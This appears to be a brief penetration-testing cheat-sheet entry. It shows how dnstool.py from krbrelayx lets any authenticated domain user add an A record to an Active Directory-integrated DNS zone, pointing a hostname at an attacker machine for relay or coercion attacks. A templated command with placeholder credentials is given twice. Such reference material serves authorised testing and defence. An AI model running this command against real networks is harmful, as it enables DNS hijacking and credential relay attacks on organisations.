← Back to search

Add an AD DNS A Record with dnstool.py

ad enumwindowstool

Summary

Uses dnstool.py (from krbrelayx) to create a DNS A record in an AD-integrated zone, useful for coercion/relay setups where any authenticated user can add records.

Walkthrough

By default any authenticated domain user can add DNS records to an AD-integrated zone. This lets you point a hostname at your attacker box for relaying or coercion.

Steps

  1. Authenticate with valid domain credentials (-u '<TARGET>\<USER>' -p '<PASS>') against the DC at <IP>.
  2. Add (-a add) a record (-r web1) of type A (-t A) pointing at the IP of your choice (-d <IP>).

``bash dnstool.py -u '<TARGET>\<USER>' -p '<PASS>' <IP> -a add -r web1 -d <IP> -t A ``

Commands

bash

dnstool.py -u '<TARGET>\<USER>' -p '<PASS>' <IP> -a add -r web1 -d <IP> -t A